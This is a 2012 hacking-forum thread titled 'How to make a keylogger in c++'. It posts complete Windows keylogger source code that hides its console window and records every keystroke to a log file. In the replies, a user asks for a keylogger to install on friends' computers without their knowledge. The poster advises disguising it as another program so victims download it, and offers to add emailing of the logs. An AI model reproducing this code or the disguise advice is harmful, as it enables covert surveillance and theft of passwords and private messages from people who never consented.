Sinisterly
How to make a keylogger in c++ - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.ly/Forum-Tutorials)
+--- Thread: How to make a keylogger in c++ (/Thread-How-to-make-a-keylogger-in-c)



How to make a keylogger in c++ - darkv0id - 10-13-2012

This make code makes a simple keylogger in c++


#include<iostream.h>
#include<windows.h>

using namespace std;

#include<winuser.h>


int Save (int key_stroke, char *file);


void Stealth();//stealth method allocates cmd window and hides it


int main()
{

Stealth();

char i;

while (1)//basically meaning, runs until stop.
{
for(i = 8; i <= 190; i++)//checks each key
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"log.txt");//saves each pressed key to log.txt
}
}
system ("PAUSE");
return 0;
}


/* *********************************** */


int Save (int key_stroke, char *file)
{

if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
//sends each keystroke to file
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
/* *********************************** */
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}


RE: How to make a keylogger in c++ - princeshama - 10-14-2012

good work but you can use this keylogger only on your own computer


RE: How to make a keylogger in c++ - darkv0id - 10-14-2012

It only works on windows and you have to check the file yourself, yes. I will upload one that sends the file to an email if I get enough requests.


RE: How to make a keylogger in c++ - 181319 - 10-14-2012

Hi Smile
I was hoping someone would help me with getting in hands of a keylogger program that i can remote install to some friends. Any help would be apreciated.


RE: How to make a keylogger in c++ - darkv0id - 10-14-2012

Remote install? They would still need to download it somehow. Do you mean without them knowing?


RE: How to make a keylogger in c++ - 181319 - 10-14-2012

Yes i mean so they do not know it, but i can't seem to find a program that can be used on windows 7 Sad i am kind of desperate so if you could help i would reward you with something ^^


RE: How to make a keylogger in c++ - darkv0id - 10-14-2012

They would have to download it somehow... Basically your asking for a program that automatically hacks and downloads itself into the target computer. That, is impossible. You can however disguise it as another program so they download it.


RE: How to make a keylogger in c++ - 181319 - 10-14-2012

Thats what i mean and that i am looking for, however i can't get ardamax to function and i dont wanna buy it first.


RE: How to make a keylogger in c++ - darkv0id - 10-14-2012

Okay, I could make it with a member of my team. But it would take a lot of time and work.